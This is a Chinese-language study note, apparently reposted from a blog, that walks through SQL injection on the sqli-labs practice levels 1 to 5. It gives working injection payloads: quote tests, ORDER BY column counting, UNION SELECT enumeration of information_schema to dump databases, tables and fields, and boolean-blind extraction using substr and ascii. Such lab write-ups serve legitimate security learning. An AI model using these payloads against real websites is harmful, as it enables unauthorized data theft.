sql注入——day01
基本的
查庫:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where?
table_schema = '數(shù)據(jù)庫名'
查列:select column_name from information_schema.columns where
table_name='表名'
查字段:select 字段名 form 數(shù)據(jù)庫.表名
記得加注釋符-- +
sqli_labs 1
1 ?id=1'用單引號或and,or測試注入點,顯示sql錯誤則可以注入。
2 確定注入點后用order by確定列數(shù),超出列數(shù)會報錯。
3 union select 1,2,3確定回顯位。前半段語句必須為假。
4 確定回顯位后開始查詢想要的數(shù)據(jù),將要查的數(shù)據(jù)替換回顯位。
5 union select 1,2,schema_name from information_schema.schemata
//顯示查的庫,但是只能顯示第一個,一個一個看的話用limit 1,1控制偏移量
6 union select 1,2,group_concat(schema_name) from information_schema.schemata
//雖然只能顯示一行,但是group_concat()可以將該查詢到的結(jié)果拼接在一起,一行就全展示完。
7 //找出庫后找表
? union select 1,2,group_concat(table_name) from information_schema.tables?
? where table_schema = '數(shù)據(jù)庫名' //涉及單引號的字符串,建議直接前加0x再將其轉(zhuǎn)化為16進制
8 //找出表后查字段
? union select 1,2,group_concat(column_name) from information_schema.columns?
? where table_name = '表名'
9 //找出字段后取數(shù)據(jù)
? union select 1,2,group_concat(字段名) from 數(shù)據(jù)庫名.表名
? //如果回顯位有限可以用concat_ws('~',字段A,字段B) 顯示效果 字段A~字段B
? union select 1,2,group_concat(concat_ws('~',字段A,字段B)) from 數(shù)據(jù)庫名.表名
? //用group_concat包裹可以全部顯示
sqli_labs 2
第二關(guān)只是id變成了數(shù)值型,未用單引號包裹,其余步驟和第一關(guān)相同?
sqli_labs 3
第三關(guān)根據(jù)加單引號顯示的報錯信息確定id是被('')包裹,所以改成?id=1')--+即可其余步驟和第一關(guān)相同
sqli_labs 4
第四關(guān)與第三關(guān)類似用單引號試錯未報錯,繼續(xù)用雙引號測試根據(jù)報錯,發(fā)現(xiàn)id是被("")包裹
其余步驟和第一關(guān)相同
補充知識
1. left()函數(shù): ? ?left(database(),1)='s'? ? ? ? ? left(a,b)從左側(cè)截取a的前b位,正確則返回1,錯誤則返回0
2. regexp函數(shù): ? ?select user() regexp 'r'? ? user()的結(jié)果是root,regexp為匹配root的正則表達式
3. like函數(shù): ? ? ?select user() like 'ro%'? ? ? ? 匹配與regexp相似。
4. substr(a,b,c) ? select substr(a,b,c)? ? ? ? ? ? substr(a,b,c)從位置b開始,截取a字符串c位長度
5. ascii()? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?將某個字符串轉(zhuǎn)化為ascii值 ?
6. chr(數(shù)字) ? ? ? 或者是ord('字母')? ? ? ? ? ? ? ? 使用python中的兩個函數(shù)可以判斷當前的ascii值是多少
對于security數(shù)據(jù)庫:
?select left(database(),1)='s';? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 前1位是否是s
?select database() regexp 's';? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??? ?匹配第一個字符是否是 s
?select database() like 's%';? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? ?匹配第一個字符是否是 s
?select substr((select database()),1,1)='s';? ? ? ? ? ? ? ? 匹配第一個字符是否是 s
?select substr((select database()),1,3)= 'sec';? ? ? ?? ? 匹配前三個個字符是否是 sec
?select ascii(substr((select database()),1,1));? ? ? ? ? ? 直接回顯115 ?或者是:
?select ascii(substr((select database()),1,1)) > 110; ?如果大于110,就會返回1,否則返回0.
sqli_labs 5
頁面只返回是和否,典型的布爾盲注,通過補充知識里的函數(shù)不斷測試來獲取信息
1 ?id=1'用單引號判斷能否注入
2 還是利用order by確定列數(shù),判斷列數(shù)不需要回顯根據(jù)頁面返回提示即可確定列數(shù)
3 ?id=1' and left((select database()),1)='s'--+開始猜數(shù)據(jù)庫的名字
4 ?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+
? //這是第一個數(shù)據(jù)名字的第一個字符,后續(xù)的表名,字段以及數(shù)據(jù)名均可用這樣的方法以及上面的其它函數(shù)進行猜解,
? 人工猜字符ascii時最好用二分法
總結(jié)
以上是生活随笔為你收集整理的sql注入——day01的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: sql注入——day02
- 下一篇: DES算法加密流程